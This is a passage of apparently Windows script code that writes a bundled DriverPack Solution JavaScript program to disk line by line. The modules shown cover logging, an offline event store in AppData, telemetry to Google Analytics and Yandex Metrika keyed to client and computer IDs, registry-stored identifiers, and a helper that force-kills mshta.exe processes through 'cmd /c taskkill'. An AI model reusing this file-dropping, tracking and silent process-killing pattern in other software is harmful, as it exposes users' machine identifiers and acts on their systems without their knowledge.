file.WriteLine(" return new Promise(function(resolve) {");
file.WriteLine(" return setTimeout(resolve, time);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _objectWithoutProperties(obj, keys) {");
file.WriteLine(" var target = {};");
file.WriteLine(" for (var i in obj) if (!(keys.indexOf(i) >= 0)) if
(Object.prototype.hasOwnProperty.call(obj, i)) target[i] = obj[i];");
file.WriteLine(" return target;");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" function _possibleConstructorReturn(self, call) {");
file.WriteLine(" if (!self) throw new ReferenceError(\"this hasn't been
initialised - super() hasn't been called\");");
file.WriteLine(" return call && (\"object\" == typeof call || \"function\"
== typeof call) ? call : self;");
file.WriteLine(" }");
file.WriteLine(" function _inherits(subClass, superClass) {");
file.WriteLine(" if (\"function\" != typeof superClass && null !==
superClass) throw new TypeError(\"Super expression must either be null or a
function, not \" + typeof superClass);");
file.WriteLine(" subClass.prototype = Object.create(superClass &&
superClass.prototype, {");
file.WriteLine(" constructor: {");
file.WriteLine(" value: subClass,");
file.WriteLine(" enumerable: !1,");
file.WriteLine(" writable: !0,");
file.WriteLine(" configurable: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (superClass) Object.setPrototypeOf ?
Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _typeof = \"function\" == typeof Symbol && \"symbol\" ==
typeof Symbol.iterator ? function(obj) {");
file.WriteLine(" return typeof obj;");
file.WriteLine(" } : function(obj) {");
file.WriteLine(" return obj && \"function\" == typeof Symbol &&
obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof
obj;");
file.WriteLine(" }, _DeloreanTransport = __webpack_require__(56),
_DeloreanTransport2 = _interopRequireDefault(_DeloreanTransport), _ScopedLogger2 =
__webpack_require__(130), _ScopedLogger3 = _interopRequireDefault(_ScopedLogger2),
_fileWriter = __webpack_require__(66), _fileWriter2 =
_interopRequireDefault(_fileWriter), Logger = function(_ScopedLogger) {");
file.WriteLine(" function Logger(_ref) {");
file.WriteLine(" var logging = _ref.logging, endpoint =
_ref.endpoint;");
file.WriteLine(" _classCallCheck(this, Logger);");
file.WriteLine(" var _this = _possibleConstructorReturn(this,
_ScopedLogger.call(this, null, \"\")), transport = new
_DeloreanTransport2[\"default\"](endpoint);");
file.WriteLine(" Object.assign(_this, {");
file.WriteLine(" logging: logging,");
file.WriteLine(" transport: transport");
file.WriteLine(" });");
file.WriteLine(" return _this;");
file.WriteLine(" }");
file.WriteLine(" _inherits(Logger, _ScopedLogger);");
file.WriteLine(" Logger.prototype.buildMessage = function(_ref2) {");
file.WriteLine(" for (var message = _ref2.message, action =
_ref2.action, _ref2$namespace = _ref2.namespace, namespace = _ref2$namespace ===
undefined ? \"\" : _ref2$namespace, _ref2$tags = _ref2.tags, tags = _ref2$tags ===
undefined ? [] : _ref2$tags, res = \"[\" + namespace + \"] \" + (message ||
action), _iterator = tags, _isArray = Array.isArray(_iterator), _i = 0, _iterator =
_isArray ? _iterator : _iterator[Symbol.iterator](); ;) {");
file.WriteLine(" var _ref3;");
file.WriteLine(" if (_isArray) {");
file.WriteLine(" if (_i >= _iterator.length) break;");
file.WriteLine(" _ref3 = _iterator[_i++];");
file.WriteLine(" } else {");
file.WriteLine(" _i = _iterator.next();");
file.WriteLine(" if (_i.done) break;");
file.WriteLine(" _ref3 = _i.value;");
file.WriteLine(" }");
file.WriteLine(" res += \" #\" + _ref3;");
file.WriteLine(" }");
file.WriteLine(" return res;");
file.WriteLine(" };");
file.WriteLine(" Logger.prototype.toObject = function(lvl, message) {");
file.WriteLine(" var params = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : {}, namespace = arguments.length > 3 && arguments[3] !==
undefined ? arguments[3] : \"\";");
file.WriteLine(" return {");
file.WriteLine(" lvl: lvl,");
file.WriteLine(" tags: arguments.length > 4 && arguments[4] !==
undefined ? arguments[4] : [],");
file.WriteLine(" namespace: namespace,");
file.WriteLine(" message: message,");
file.WriteLine(" params: params");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" Logger.prototype.send = function() {");
file.WriteLine(" var data = this.toObject.apply(this, arguments);");
file.WriteLine(" if (\"debug\" !== data.lvl) return
this.transport.send(data);");
file.WriteLine(" };");
file.WriteLine(" Logger.prototype._write = function(_ref4) {");
file.WriteLine(" var type = _ref4.type, data = _ref4.data, _ref4$params
= _ref4.params, params = _ref4$params === undefined ? data : _ref4$params,
_ref4$message = _ref4.message, message = _ref4$message === undefined ?
this.buildMessage(data) : _ref4$message;");
file.WriteLine(" if (\"error\" === data.lvl || \"warn\" === data.lvl)
console[data.lvl](message); else console.log(message);");
file.WriteLine(" if (this.logging)
_fileWriter2[\"default\"].write(message, data.lvl, params, data, type);");
file.WriteLine(" };");
file.WriteLine(" Logger.prototype.write = function() {");
file.WriteLine(" var data = this.toObject.apply(this, arguments);");
file.WriteLine(" this._write({");
file.WriteLine(" type: \"log\",");
file.WriteLine(" data: data,");
file.WriteLine(" params: data.params");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Logger.prototype.onunload = function() {");
file.WriteLine(" _fileWriter2[\"default\"].close();");
file.WriteLine(" };");
file.WriteLine(" Logger.prototype.log = function(lvl, opts) {");
file.WriteLine(" var params = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : opts.params, namespace = arguments.length > 3 &&
arguments[3] !== undefined ? arguments[3] : opts.namespace, tags = arguments.length
> 4 && arguments[4] !== undefined ? arguments[4] : opts.tags;");
file.WriteLine(" if (\"object\" !== (void 0 === opts ? \"undefined\" :
_typeof(opts))) opts = {");
file.WriteLine(" message: opts");
file.WriteLine(" };");
file.WriteLine(" var _opts = opts, message = _opts.message, dimensions =
_opts.dimensions, important = _opts.important, event =
_objectWithoutProperties(_opts, [ \"message\", \"dimensions\", \"important\" ]),
args = [ lvl, message, params, namespace, tags ];");
file.WriteLine(" if (event.action) {");
file.WriteLine(" var data = this.toObject.apply(this, args);");
file.WriteLine(" return __webpack_require__(20).event(_extends({},
event, data), dimensions, important);");
file.WriteLine(" } else return Promise.all([ this.send.apply(this,
args), this.write.apply(this, args) ]);");
file.WriteLine(" };");
file.WriteLine(" return Logger;");
file.WriteLine(" }(_ScopedLogger3[\"default\"]);");
file.WriteLine(" exports[\"default\"] = Logger;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var ScopedLogger = function() {");
file.WriteLine(" function ScopedLogger(parent, prefix) {");
file.WriteLine(" var tags = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : [];");
file.WriteLine(" _classCallCheck(this, ScopedLogger);");
file.WriteLine(" Object.assign(this, {");
file.WriteLine(" parent: parent,");
file.WriteLine(" prefix: prefix,");
file.WriteLine(" tags: tags");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" ScopedLogger.prototype.log = function(lvl, msg, params)
{");
file.WriteLine(" var namespace = arguments.length > 3 && arguments[3] !
== undefined ? arguments[3] : msg.namespace || \"\", tags = arguments.length > 4 &&
arguments[4] !== undefined ? arguments[4] : msg.tags || [];");
file.WriteLine(" if (this.prefix) namespace = this.prefix + \":\" +
namespace;");
file.WriteLine(" return this.parent.log(lvl, msg, params, namespace,
tags.concat(this.tags));");
file.WriteLine(" };");
file.WriteLine(" ScopedLogger.prototype.debug = function() {");
file.WriteLine(" for (var _len = arguments.length, args = Array(_len),
_key = 0; _key < _len; _key++) args[_key] = arguments[_key];");
file.WriteLine(" return this.log.apply(this,
[ \"debug\" ].concat(args));");
file.WriteLine(" };");
file.WriteLine(" ScopedLogger.prototype.info = function() {");
file.WriteLine(" for (var _len2 = arguments.length, args = Array(_len2),
_key2 = 0; _key2 < _len2; _key2++) args[_key2] = arguments[_key2];");
file.WriteLine(" return this.log.apply(this,
[ \"info\" ].concat(args));");
file.WriteLine(" };");
file.WriteLine(" ScopedLogger.prototype.warn = function() {");
file.WriteLine(" for (var _len3 = arguments.length, args = Array(_len3),
_key3 = 0; _key3 < _len3; _key3++) args[_key3] = arguments[_key3];");
file.WriteLine(" return this.log.apply(this,
[ \"warn\" ].concat(args));");
file.WriteLine(" };");
file.WriteLine(" ScopedLogger.prototype.error = function() {");
file.WriteLine(" for (var _len4 = arguments.length, args = Array(_len4),
_key4 = 0; _key4 < _len4; _key4++) args[_key4] = arguments[_key4];");
file.WriteLine(" return this.log.apply(this,
[ \"error\" ].concat(args));");
file.WriteLine(" };");
file.WriteLine(" ScopedLogger.prototype.scope = function(namespace, tags)
{");
file.WriteLine(" return new ScopedLogger(this, namespace, tags);");
file.WriteLine(" };");
file.WriteLine(" return ScopedLogger;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = ScopedLogger;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _DeloreanTransport = __webpack_require__(56),
_DeloreanTransport2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_DeloreanTransport), EventsAPI = (__webpack_require__(34),
function() {");
file.WriteLine(" function EventsAPI(parent) {");
file.WriteLine(" _classCallCheck(this, EventsAPI);");
file.WriteLine(" this.parent = parent;");
file.WriteLine(" this.logger = parent.logger.scope(\"api\");");
file.WriteLine(" }");
file.WriteLine(" EventsAPI.prototype.init = function(_ref) {");
file.WriteLine(" var url = _ref.url;");
file.WriteLine(" this.transport = new _DeloreanTransport2[\"default\"]
(url, this.parent);");
file.WriteLine(" };");
file.WriteLine(" EventsAPI.prototype.send = function(event) {");
file.WriteLine(" var _this = this, endpoint = this.transport &&
this.transport.endpoint;");
file.WriteLine(" if (endpoint) return
this.transport.send(event).then(function() {");
file.WriteLine(" _this.logger.debug(\"Send event to MongoDB API \" +
endpoint + \": \" + event.action, {");
file.WriteLine(" event: event,");
file.WriteLine(" endpoint: endpoint");
file.WriteLine(" }, \"send\");");
file.WriteLine(" }, function(_ref2) {");
file.WriteLine(" var response = _ref2.response;");
file.WriteLine(" _this.logger.debug(\"Failed to send event to
MongoDB API \" + endpoint + \": \" + event.action, {");
file.WriteLine(" event: event,");
file.WriteLine(" endpoint: endpoint,");
file.WriteLine(" response: response");
file.WriteLine(" }, \"fail\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" return EventsAPI;");
file.WriteLine(" }());");
file.WriteLine(" exports[\"default\"] = EventsAPI;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _utils = __webpack_require__(44), _fso =
__webpack_require__(7), FileStore = function() {");
file.WriteLine(" function FileStore() {");
file.WriteLine(" _classCallCheck(this, FileStore);");
file.WriteLine(" }");
file.WriteLine(" FileStore.prototype.parseClientIdJs = function(text) {");
file.WriteLine(" var start = text.indexOf('\"') + 1, end =
text.indexOf('\"', start), filename = text.substr(start, end - start);");
file.WriteLine(" return (0, _utils.ParseSFXName)(filename).slice(-1)
[0];");
file.WriteLine(" };");
file.WriteLine(" FileStore.prototype.get = function(key) {");
file.WriteLine(" var file = \"tools\\\\modules\\\\\" + key.toLowerCase()
+ \".js\";");
file.WriteLine(" if (_fso.fso.FileExists(file)) {");
file.WriteLine(" var text = _fso.fso.GetFile(file);");
file.WriteLine(" if (text.Size > 0) {");
file.WriteLine(" var contents =
text.OpenAsTextStream(1).ReadAll();");
file.WriteLine(" return this.parseClientIdJs(contents);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" FileStore.prototype.set = function() {};");
file.WriteLine(" return FileStore;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = FileStore;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _OnlineStatistics = __webpack_require__(68),
_OnlineStatistics2 = _interopRequireDefault(_OnlineStatistics), _specialFolders =
__webpack_require__(15), _fso = __webpack_require__(7), _localFiles =
__webpack_require__(21), _logs = __webpack_require__(17), _iterate =
__webpack_require__(28), _iterate2 = _interopRequireDefault(_iterate), log = (0,
");
file.WriteLine(" _logs.getLogger)(\"core:statistics:offline\"), readLine =
function(file) {");
file.WriteLine(" return JSON.parse(file.ReadLine());");
file.WriteLine(" }, OfflineStore = function() {");
file.WriteLine(" function OfflineStore(_ref2) {");
file.WriteLine(" var options = _ref2.options, drpVersion =
_ref2.drpVersion, lang = _ref2.lang, clientId = _ref2.clientId, computerId =
_ref2.computerId;");
file.WriteLine(" _classCallCheck(this, OfflineStore);");
file.WriteLine(" var filename = this._name = [ \"e\", Date.now(),
options.category || \"drp\" ].join(\"-\").replace(/
[\\s\\.]/g, \"-\").toLowerCase(), filepath = OfflineStore.getFilepath() + \"\\\\\"
+ filename;");
file.WriteLine(" this._file = _fso.fso.CreateTextFile(filepath, !0);");
file.WriteLine(" this._save({");
file.WriteLine(" clientId: clientId,");
file.WriteLine(" computerId: computerId,");
file.WriteLine(" constructor: [ options, drpVersion, lang ]");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" OfflineStore.getFilepath = function() {");
file.WriteLine(" return (0, _localFiles.ensurePath)
(_specialFolders.AppData + \"\\\\DRPSu\\\\events\");");
file.WriteLine(" };");
file.WriteLine(" OfflineStore.dispatchFile = function(_ref) {");
file.WriteLine(" var Path = _ref.Path, Name = _ref.Name;");
file.WriteLine(" log.debug(\"Processing file: \" + Name, {");
file.WriteLine(" file: Name");
file.WriteLine(" }, \"dispatch\");");
file.WriteLine(" var promises = [];");
file.WriteLine(" try {");
file.WriteLine(" var file = _fso.fso.OpenTextFile(Path, 1, !1),
_readLine = readLine(file), clientId = _readLine.clientId, computerId =
_readLine.computerId, _constructor = _readLine.constructor, stat = new
(Function.prototype.bind.apply(_OnlineStatistics2[\"default\"],
[ null ].concat(_constructor)))();");
file.WriteLine(" stat.init({");
file.WriteLine(" clientId: clientId,");
file.WriteLine(" computerId: computerId,");
file.WriteLine(" offline: !0");
file.WriteLine(" });");
file.WriteLine(" for (;!file.AtEndOfStream; ) try {");
file.WriteLine(" var _readLine2 = readLine(file), event =
_readLine2.event;");
file.WriteLine(" promises.push(stat.event.apply(stat, event)
[\"catch\"](function() {");
file.WriteLine(" return null;");
file.WriteLine(" }));");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" file.Close();");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" return Promise.all(promises).then(function() {");
file.WriteLine(" _fso.fso.DeleteFile(Path, !0);");
file.WriteLine(" })[\"catch\"](function() {");
file.WriteLine(" return null;");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" OfflineStore.dispatch = function() {");
file.WriteLine(" var filepath = OfflineStore.getFilepath(), folder =
_fso.fso.GetFolder(filepath), promise = Promise.resolve();");
file.WriteLine(" (0, _iterate2[\"default\"])(folder.Files,
function(file) {");
file.WriteLine(" promise = promise.then(function() {");
file.WriteLine(" return OfflineStore.dispatchFile(file);");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return promise;");
file.WriteLine(" };");
file.WriteLine(" OfflineStore.prototype.event = function(_event) {");
file.WriteLine(" var dimensions = arguments.length > 1 && arguments[1] !
== undefined ? arguments[1] : [], important = arguments.length > 2 &&
arguments[2] !== undefined ? arguments[2] : !1;");
file.WriteLine(" log.debug(\"Send event: \" + _event.action, {");
file.WriteLine(" event: _event,");
file.WriteLine(" dimensions: dimensions");
file.WriteLine(" }, \"send\");");
file.WriteLine(" this._save({");
file.WriteLine(" event: [ _event, dimensions, important ]");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" OfflineStore.prototype._save = function(data) {");
file.WriteLine(" this._file.WriteLine(JSON.stringify(data));");
file.WriteLine(" };");
file.WriteLine(" return OfflineStore;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = OfflineStore;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _registry = __webpack_require__(29), RegistryStore =
function() {");
file.WriteLine(" function RegistryStore(Reg) {");
file.WriteLine(" _classCallCheck(this, RegistryStore);");
file.WriteLine(" this.Reg = Reg;");
file.WriteLine(" }");
file.WriteLine(" RegistryStore.prototype.getPath = function(key) {");
file.WriteLine(" return this.Reg + key;");
file.WriteLine(" };");
file.WriteLine(" RegistryStore.prototype.get = function(key) {");
file.WriteLine(" return (0, _registry.RegRead)(this.getPath(key));");
file.WriteLine(" };");
file.WriteLine(" RegistryStore.prototype.set = function(key, clientId) {");
file.WriteLine(" (0, _registry.RegWrite)(this.getPath(key),
clientId);");
file.WriteLine(" };");
file.WriteLine(" return RegistryStore;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = RegistryStore;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" function _possibleConstructorReturn(self, call) {");
file.WriteLine(" if (!self) throw new ReferenceError(\"this hasn't been
initialised - super() hasn't been called\");");
file.WriteLine(" return call && (\"object\" == typeof call || \"function\"
== typeof call) ? call : self;");
file.WriteLine(" }");
file.WriteLine(" function _inherits(subClass, superClass) {");
file.WriteLine(" if (\"function\" != typeof superClass && null !==
superClass) throw new TypeError(\"Super expression must either be null or a
function, not \" + typeof superClass);");
file.WriteLine(" subClass.prototype = Object.create(superClass &&
superClass.prototype, {");
file.WriteLine(" constructor: {");
file.WriteLine(" value: subClass,");
file.WriteLine(" enumerable: !1,");
file.WriteLine(" writable: !0,");
file.WriteLine(" configurable: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (superClass) Object.setPrototypeOf ?
Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _GoogleAnalytics = __webpack_require__(67),
_OnlineStatistics2 = __webpack_require__(68), _OnlineStatistics3 =
_interopRequireDefault(_OnlineStatistics2), _OfflineStore =
__webpack_require__(133), _OfflineStore2 = _interopRequireDefault(_OfflineStore),
Statistics = function(_OnlineStatistics) {");
file.WriteLine(" function Statistics() {");
file.WriteLine(" _classCallCheck(this, Statistics);");
file.WriteLine(" return _possibleConstructorReturn(this,
_OnlineStatistics.apply(this, arguments));");
file.WriteLine(" }");
file.WriteLine(" _inherits(Statistics, _OnlineStatistics);");
file.WriteLine(" Statistics.prototype.init = function(opts) {");
file.WriteLine(" var _this2 = this;");
file.WriteLine(" _OnlineStatistics.prototype.init.call(this, opts);");
file.WriteLine(" this._initialized =
this.checkConnection().then(function(isOnline) {");
file.WriteLine(" if (isOnline) return
_OfflineStore2[\"default\"].dispatch().then(function() {");
file.WriteLine(" return !0;");
file.WriteLine(" }); else {");
file.WriteLine(" _this2._offlineStore = new
_OfflineStore2[\"default\"](_this2);");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Statistics.prototype.checkConnection = function() {");
file.WriteLine(" return (0, _GoogleAnalytics.sendUrl)
(_GoogleAnalytics.endpoint).then(function() {");
file.WriteLine(" return !0;");
file.WriteLine(" }, function() {");
file.WriteLine(" return !1;");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Statistics.prototype.send = function(event, dimensions,
important) {");
file.WriteLine(" var _this3 = this;");
file.WriteLine(" return this._initialized.then(function(isOnline) {");
file.WriteLine(" if (!isOnline && _this3._offlineStore)
_this3._offlineStore.event(event, dimensions, important); else return
_OnlineStatistics.prototype.send.call(_this3, event, dimensions, important);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Statistics.prototype.sendOpenedEvent = function(event) {");
file.WriteLine(" this.event(_extends({");
file.WriteLine(" lvl: \"info\",");
file.WriteLine(" action: \"application opened\",");
file.WriteLine(" label: this.drpVersion,");
file.WriteLine(" namespace: \"DriverPackSolution:opened\"");
file.WriteLine(" }, event), [], !0);");
file.WriteLine(" };");
file.WriteLine(" return Statistics;");
file.WriteLine(" }(_OnlineStatistics3[\"default\"]);");
file.WriteLine(" exports[\"default\"] = Statistics;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, loaded = !1, loadYaMetrika = function() {");
file.WriteLine(" if (!loaded) {");
file.WriteLine(" if (!window.yandex_metrika_callbacks)
window.yandex_metrika_callbacks = [];");
file.WriteLine(" loaded = new Promise(function(resolve) {");
file.WriteLine(" window.yandex_metrika_callbacks.push(resolve);");
file.WriteLine(" });");
file.WriteLine(" var _document$getElements =
document.getElementsByTagName(\"script\"), neighbor = _document$getElements[0],
script = document.createElement(\"script\");");
file.WriteLine(" script.type = \"text/javascript\";");
file.WriteLine(" script.async = !0;");
file.WriteLine(" script.src
= \"https://mc.yandex.ru/metrika/watch.js\";");
file.WriteLine(" neighbor.parentNode.insertBefore(script, neighbor);");
file.WriteLine(" }");
file.WriteLine(" return loaded;");
file.WriteLine(" }, createYaCounter = function(id) {");
file.WriteLine(" var active = arguments.length > 1 && arguments[1] !==
undefined ? arguments[1] : !0;");
file.WriteLine(" try {");
file.WriteLine(" return id ? new window.Ya.Metrika({");
file.WriteLine(" id: id,");
file.WriteLine(" clickmap: active,");
file.WriteLine(" trackLinks: active,");
file.WriteLine(" accurateTrackBounce: active,");
file.WriteLine(" ut: \"noindex\",");
file.WriteLine(" defer: !0,");
file.WriteLine(" webvisor: !1");
file.WriteLine(" }) : null;");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" }, YaMetrika = function() {");
file.WriteLine(" function YaMetrika(parent) {");
file.WriteLine(" _classCallCheck(this, YaMetrika);");
file.WriteLine(" this.enabled = !1;");
file.WriteLine(" this.parent = parent;");
file.WriteLine(" this.logger = parent.logger.scope(\"metrika\");");
file.WriteLine(" }");
file.WriteLine(" YaMetrika.prototype.init = function(_ref) {");
file.WriteLine(" var _this = this, shared = _ref.shared, primary =
_ref.primary, enabled = _ref.enabled, url = _ref.url;");
file.WriteLine(" Object.assign(this, {");
file.WriteLine(" enabled: enabled,");
file.WriteLine(" url: url");
file.WriteLine(" });");
file.WriteLine(" if (!this.enabled) return !1;");
file.WriteLine(" this.loaded = loadYaMetrika().then(function() {");
file.WriteLine(" var active = !_this.parent.offline;");
file.WriteLine(" _this.counters = {");
file.WriteLine(" shared: createYaCounter(shared, active),");
file.WriteLine(" primary: createYaCounter(primary, active)");
file.WriteLine(" };");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" YaMetrika.prototype.send = function(event) {");
file.WriteLine(" var _this2 = this;");
file.WriteLine(" if (!this.enabled) return !1;");
file.WriteLine(" var url = this.url + [ event.category, event.action,
event.label ].join(\"/\").replace(/\\s/g, \"_\").toLowerCase(), params =
_extends({}, event.params, {");
file.WriteLine(" clientId: String(this.parent.clientId),");
file.WriteLine(" computerId: String(this.parent.computerId),");
file.WriteLine(" experimentNumber: this.parent.experiment,");
file.WriteLine(" language: this.parent.lang");
file.WriteLine(" });");
file.WriteLine(" return this.loaded.then(function() {");
file.WriteLine(" var _counters = _this2.counters, shared =
_counters.shared, primary = _counters.primary;");
file.WriteLine(" _this2.logger.debug(\"Send event: \" +
event.action, {");
file.WriteLine(" event: event,");
file.WriteLine(" url: url,");
file.WriteLine(" params: params");
file.WriteLine(" }, \"send\");");
file.WriteLine(" return Promise.all([ _this2._sendHit(shared, url,
params), _this2._sendHit(primary, url, params) ]);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" YaMetrika.prototype._sendHit = function(counter, url,
params) {");
file.WriteLine(" return counter ? new Promise(function(resolve) {");
file.WriteLine(" counter.hit(url, {");
file.WriteLine(" title: document.title,");
file.WriteLine(" referer: null,");
file.WriteLine(" params: params,");
file.WriteLine(" callback: function() {");
file.WriteLine(" return resolve();");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" }) : !1;");
file.WriteLine(" };");
file.WriteLine(" return YaMetrika;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = YaMetrika;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.ParseCMD = undefined;");
file.WriteLine(" var _utils = __webpack_require__(44);");
file.WriteLine(" exports.ParseCMD = function(cmd) {");
file.WriteLine(" var args = (0, _utils.ParseCMDString)(cmd);");
file.WriteLine(" if (args.length > 2 && \"--sfx\" === args[1]) {");
file.WriteLine(" var _args = args, command = _args[0], sfxName =
_args[2], overwrite = _args.slice(3);");
file.WriteLine(" args = [ command ].concat((0, _utils.ParseSFXName)
(sfxName));");
file.WriteLine(" overwrite.forEach(function(val, ind) {");
file.WriteLine(" if (val) args[ind + 1] = val;");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return args;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.waitForProcesses = exports.waitForPID =
exports.setProcessPriority = exports.killByPID = exports.getMyPID =
exports.killProcess = undefined;");
file.WriteLine(" var _shell = __webpack_require__(13), _wmi =
__webpack_require__(2), getMyPID = (exports.killProcess = function(commandLineLike)
{");
file.WriteLine(" (0, _wmi.getWMIObjects)
([ \"ProcessId\" ], \"Win32_Process\", 'NAME = \"mshta.exe\" AND CommandLine
LIKE \"' + commandLineLike + '\"').forEach(function(_ref) {");
file.WriteLine(" var ProcessId = _ref.ProcessId;");
file.WriteLine(" _shell.WshShell.Run(\"cmd /c taskkill /f /t /pid \" +
ProcessId, 0, !0);");
file.WriteLine(" });");
file.WriteLine(" }, exports.getMyPID = function() {");
file.WriteLine(" var pid = void 0;");
file.WriteLine(" try {");
